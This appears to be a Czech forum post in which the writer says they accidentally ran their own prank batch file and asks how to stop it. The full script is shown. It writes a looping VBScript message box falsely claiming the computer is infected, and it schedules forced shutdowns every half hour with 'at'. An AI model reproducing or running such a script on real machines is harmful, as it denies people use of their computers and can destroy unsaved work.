Zdarec, no omylem jsem spustil tuhle svojí .bat blbůstku:

@ echo off

echo Do>>msgbox.vbs
echo x=msgbox("Tvuj pocitac byl nakazen krutoprisnou bat blbosti - Asi jinej GANG co? xD") >>msgbox.vbs
echo Loop>>msgbox.vbs
start "" "msgbox.vbs"

at 1:00 shutdown -s -f -t 00
at 1:30 shutdown -s -f -t 00
at 2:00 shutdown -s -f -t 00
at 2:30 shutdown -s -f -t 00
at 3:00 shutdown -s -f -t 00
at 3:30 shutdown -s -f -t 00
at 4:00 shutdown -s -f -t 00
at 4:30 shutdown -s -f -t 00
at 5:00 shutdown -s -f -t 00
at 5:3O shutdown -s -f -t 00
at 6:00 shutdown -s -f -t 00
at 6:30 shutdown -s -f -t 00
at 7:00 shutdown -s -f -t 00
at 8:00 shutdown -s -f -t 00
at 8:30 shutdown -s -f -t 00
at 9:00 shutdown -s -f -t 00
at 9:30 shutdown -s -f -t 00
at 10:00 shutdown -s -f -t 00
at 10:30 shutdown -s -f -t 00
at 11:00 shutdown -s -f -t 00
at 11:30 shutdown -s -f -t 00
at 12:00 shutdown -s -f -t 00
at 12:30 shutdown -s -f -t 00
at 13:00 shutdown -s -f -t 00
at 13:30 shutdown -s -f -t 00
at 14:00 shutdown -s -f -t 00
at 14:30 shutdown -s -f -t 00
at 15:00 shutdown -s -f -t 00
at 15:30 shutdown -s -f -t 00
at 16:00 shutdown -s -f -t 00
at 16:30 shutdown -s -f -t 00
at 17:00 shutdown -s -f -t 00
at 17:30 shutdown -s -f -t 00
at 18:00 shutdown -s -f -t 00
at 18:30 shutdown -s -f -t 00
at 19:00 shutdown -s -f -t 00
at 19:30 shutdown -s -f -t 00
at 20:00 shutdown -s -f -t 00
at 20:30 shutdown -s -f -t 00
at 21:00 shutdown -s -f -t 00
at 21:30 shutdown -s -f -t 00
at 22:00 shutdown -s -f -t 00
at 22:30 shutdown -s -f -t 00
at 23:00 shutdown -s -f -t 00
at 23:30 shutdown -s -f -t 00
at 00:00 shutdown -s -f -t 00

Zruší se to vypnutím wscript.exe ve win?

shutdown -a do cmd nejde, protože žádné vypnutí zatím neprobíhá...